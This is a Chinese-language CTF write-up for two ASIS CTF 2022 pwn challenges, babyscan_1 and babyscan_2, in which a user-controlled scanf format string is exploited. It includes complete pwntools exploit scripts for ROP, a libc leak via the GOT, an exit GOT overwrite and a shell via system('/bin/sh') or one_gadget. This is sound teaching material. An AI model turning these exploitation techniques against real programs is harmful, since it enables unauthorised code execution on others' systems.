step1

1
        

ASIS CTF 2022 pwn

        参考链接(题目附件看这):ASIS CTF 2022 pwn babyscan_1 babyscan_2 | blingbling’s blog (blingblingxuanxuan.github.io)

babyscan_1

源C代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int main() {
char size[16], fmt[8], *buf;

printf("size: ");
scanf("%15s", size);
if (!isdigit(*size)) { //判断是否为数字,遇到非数字字符自动截止
puts("[-] Invalid number");
return 1;
}

buf = (char*)alloca(atoi(size) + 1); //栈上申请一块内存空间

printf("data: ");
snprintf(fmt, sizeof(fmt), "%%%ss", size); //将输入的[size]变为 %[size]s 存入fmt
scanf(fmt, buf); //搭配上句得到的效果为:scanf("%[size]s",buf);

return 0;
}

解题思路

        1、假设我们对size输入1$、12$…….等这种以$结尾的字符串,isdigit()时只会判定前面的1、12……这些数字,这样我们就能做到既不在isdigit()判定时退出程序,又能将 $ 输入进 size 中

        2、当 $ 输入进 size 后,通过snprintf()与scanf()的搭配,我们能构造出scanf(“%1$s”,buf)、scanf(“%12$s”,buf)等这样的输入函数,而%1$n、%12$s这样的格式化字符串我们在格式化字符串漏洞中经常利用,所以我们依照格式化字符串漏洞的那套解题思路进行后续步骤。

        3、scanf(“%12$s”,buf)的意思是向栈上scanf的第12个参数位置上存储的地址处输入任意长度字符串

        4、64位函数参数存储顺序如下图,只要是存储着栈地址的参数我们都能用(第3条说明了向参数存储的地址处写入任意长度字符串),从图中我们可以看到有RDI、RSI、RDX、参数12、参数13,对应%0$s、%1$s、%2$s、%11$s、%12$s,其中参数12存储的是高于当前函数栈帧rbp的栈地址,不好找更高地址的rbp在哪个位置,所以不考虑使用%11$s,本题我们利用%1$s。

image-20221021181532541

        5、之后便是一系列模板操作:查找偏移值、覆写ret控制执行流、重执main()函数或start()函数、泄露libc地址、调用system(“/bin/sh”)

查找偏移值

        利用以下脚本可得知偏移值为72

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

myelf = ELF("./bin/chall")
mylibc = ELF("./lib/libc.so.6")
myld = ELF("./lib/ld-2.31.so")
myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})

payload = cyclic(200)

gdb.attach(myio,"b *0x401364 \n c")
myio.sendlineafter("size: ",b"1$")
myio.sendlineafter("data: ",payload)

myio.interactive()
覆写ret泄露libc地址并重新执新main函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

myelf = ELF("./bin/chall")
mylibc = ELF("./lib/libc.so.6")
myld = ELF("./lib/ld-2.31.so")
myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})

pop_rdi = 0x401433
got_snprintf = 0x404030
plt_puts = 0x4010B4
main_addr = 0x401216
payload = b'a'*72+p64(pop_rdi)+p64(got_snprintf)+p64(plt_puts)+ p64(main_addr)

# gdb.attach(myio,"b *0x401364 \n c")
myio.sendlineafter("size: ",b"1$")
myio.sendlineafter("data: ",payload)
snprintf_addr = u64(myio.recvline()[:6].ljust(8,b"\x00"))
libc_base = snprintf_addr - 0x61d60
print(hex(libc_base))

myio.interactive()
调用system(“/bin/sh”)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

myelf = ELF("./chall")
mylibc = ELF("../lib/libc.so.6")
myld = ELF("../lib/ld-2.31.so")
myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})

ret = 0x40101a

pop_rdi = 0x401433
got_snprintf = 0x404030
plt_puts = 0x4010B4
main_addr = 0x401216
payload = b'a'*72+p64(pop_rdi)+p64(got_snprintf)+p64(plt_puts)+ p64(main_addr)

# gdb.attach(myio,"b *0x401364 \n c")
myio.sendlineafter("size: ",b"1$")
myio.sendlineafter("data: ",payload)
snprintf_addr = u64(myio.recvline()[:6].ljust(8,b"\x00"))
libc_base = snprintf_addr - 0x61d60

system_addr = libc_base + 0x52290
bin_sh_addr = libc_base + 0x1B45BD

exec_bin_sh = libc_base + 0xe3b01
myio.sendlineafter("size: ",b"1$")
payload = b'a'*72 + p64(ret) + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)
myio.sendlineafter("data: ",payload)

myio.interactive()

小结

        1、学到了python脚本中更换二进制文件的 ld 与 libc 操作:

1
2
3
4
myelf = ELF("./chall")
mylibc = ELF("../lib/libc.so.6")
myld = ELF("../lib/ld-2.31.so")
myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})

        2、巩固了pwn题基础知识,见识了初看完全看不懂的C语言代码



babyscan_2

源C代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
char size[16], fmt[8], *buf;

printf("size: ");
scanf("%15s", size);
if (!isdigit(*size)) {
puts("[-] Invalid number");
exit(1);
}

buf = (char*)malloc(atoi(size) + 1); //堆上申请一块空间

printf("data: ");
snprintf(fmt, sizeof(fmt), "%%%ss", size);
scanf(fmt, buf);

exit(0); //从 return 0; 变成了 exit(0); 估计有用不然没必要改
}

__attribute__((constructor))
void setup(void) {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
alarm(180);
}

解题思路

        1、出现 malloc ,但没出现 free() 函数,无法利用堆相关的解题方法

        2、注意到 scanf(“%15s”, size); ,可以输入一个数字,同时在输入一个数字后可以输入一些字符串,只要总体长度不超过15就行,而size存储在栈上,也就是说我们可以向栈上输入一些我们想要输入的字符,因此或许我们可以利用与上题类似的思路解这道题

        3、gdb调试,向程序输入1$xxxxyyyyzzzz,可以看到在第10个参数位置存储着我们输入的字符串 yyzzzz,

image-20221021191405157

        4、既然这样,我们可以将 yyzzzz 替换为任意地址 aaaaaa,然后在输入size时输入 9$xxaaaaaa,就可以向地址 aaaaaa 处写任意长度的字符串

        5、接下来是套模板:查找偏移值、覆写ret控制执行流、重执main()函数或start()函数、泄露libc地址、调用system(“/bin/sh”),不过这题buf不在栈上,我们想要覆写ret来控制执行流的话有点困难,同时调用system(“/bin/sh”)也很困难,那我们就只能考虑libc中现有的 execve() 来获取shell。

        首先,程序中不存在后门函数,我们就必须要泄露libc地址,利用libc中的 execve(“/bin/sh”,参数2,参数2);

        其次,想要做到泄露libc地址的同时又调用execve(),那就必须有重新执行main()函数或start()函数这一步骤

        再者,若想重新执行main()或start(),同时无法利用ret,那我们得分析我们现在有的能力

        此时,我们有的是向任意地址写入任意长度的字符串的能力

        那么,我们可以将exit()函数的got表值改为main()或start()的got表值,这样每次执行exit()时其实是在执行main()或start()

ok,分析完毕,就从修改exit()的got表重新执行main()或start()开始

重执main()函数或start()函数

        [:-1]的效果是只取p64里面的前7个字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

myelf = ELF("./bin/chall")
mylibc = ELF("./lib/libc.so.6")
myld = ELF("./lib/ld-2.31.so")
myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})

def aaw(addr,value):
p_size = b"9$saaabb"+ p64(addr)[:-1] # scanf("%15s", size); only handle 15 char
myio.sendlineafter("size: ",p_size)
myio.sendlineafter("data: ",value)

gdb.attach(myio,"b *0x40132b \n c")

payload1 = p64(0x401256)[:-1] # return main ,需要注意,任意地址写的时候,要密切关注被写位置是否超范围覆盖。比如这里如果不在最后加[:-1]的话就会将后一个got表项(__ctype_b_loc)写坏。导致再次进main函数后,执行出错
# payload2 = p64(0x401170)[:-1] # return start
aaw(0x404058,payload1) # exit_got: 0x404058
myio.interactive()
泄露libc

        利用任意地址写能力将 setbuf(stderr, NULL); 修改为 puts(snprintf_got) 。当程序重新执行start()时,执行 setbuf(stderr, NULL); 时实际上在执行puts(snprintf_got)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

myelf = ELF("./bin/chall")
mylibc = ELF("./lib/libc.so.6")
myld = ELF("./lib/ld-2.31.so")
myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})

def aaw(addr,value):
p_size = b"9$saaabb"+ p64(addr)[:-1] # scanf("%15s", size); only handle 15 char
myio.sendlineafter("size: ",p_size)
myio.sendlineafter("data: ",value)

# gdb.attach(myio,"b *0x40132b \n c") # 2nd scanf
# gdb.attach(myio,"b *0x401379 \n c") # setbuf

payload1 = p64(0x401256)[:-1] # return main
aaw(0x404058,payload1) # exit_got: 0x404058

# set stderr ,set setbuf_got
aaw(0x4040a0,p64(0x404030)[:-1]) # change: 0x4040a0 —▸ 0x404030 —▸ 0x7f90a4f14d60 (snprintf)
aaw(0x40401f,"\x00\xd0\x10\x40\x00\x00\x00\x00") # 让地址0x404020处为0x4010d0,往前偏移1字节写入

# to exec setbuf(stderr) = puts(snprintf_got)
payload1 = p64(0x401170)[:-1] # return start
aaw(0x404058,payload1) # exit_got: 0x404058

myio.recvline() # puts(stdin)
myio.recvline() # puts(stdout)
libc_snprintf = u64(myio.recvline()[:-1].ljust(8,b"\x00")) # puts(snprintf_got)
libc_base = libc_snprintf - 0x61d60
print(hex(libc_base))

myio.interactive()
调用execve(“/bin/sh”,参数2,参数2);
1
$ one_gadget ./lib/libc.so.6
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

myelf = ELF("./bin/chall")
mylibc = ELF("./lib/libc.so.6")
myld = ELF("./lib/ld-2.31.so")
myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})

def aaw(addr,value):
p_size = b"9$saaabb"+ p64(addr)[:-1] # scanf("%15s", size); only handle 15 char
myio.sendlineafter("size: ",p_size)
myio.sendlineafter("data: ",value)

# gdb.attach(myio,"b *0x40132b \n c") # 2nd scanf
# gdb.attach(myio,"b *0x401379 \n c") # setbuf

payload1 = p64(0x401256)[:-1] # return main
aaw(0x404058,payload1) # exit_got: 0x404058

# set stderr ,set setbuf_got
aaw(0x4040a0,p64(0x404030)[:-1]) # change: 0x4040a0 —▸ 0x404030 —▸ 0x7f90a4f14d60 (snprintf)
aaw(0x40401f,"\x00\xd0\x10\x40\x00\x00\x00\x00") # 让地址0x404020处为0x4010d0,往前偏移1字节写入

# to exec setbuf(stderr) = puts(snprintf_got)
payload1 = p64(0x401170)[:-1] # return start
aaw(0x404058,payload1) # exit_got: 0x404058

myio.recvline() # puts(stdin)
myio.recvline() # puts(stdout)
libc_snprintf = u64(myio.recvline()[:-1].ljust(8,b"\x00")) # puts(snprintf_got)
libc_base = libc_snprintf - 0x61d60
print(hex(libc_base))

payload1 = p64(libc_base+0xe3b01)[:-1] # exec /bin/sh
aaw(0x404058,payload1) # exit_got: 0x404058

myio.interactive()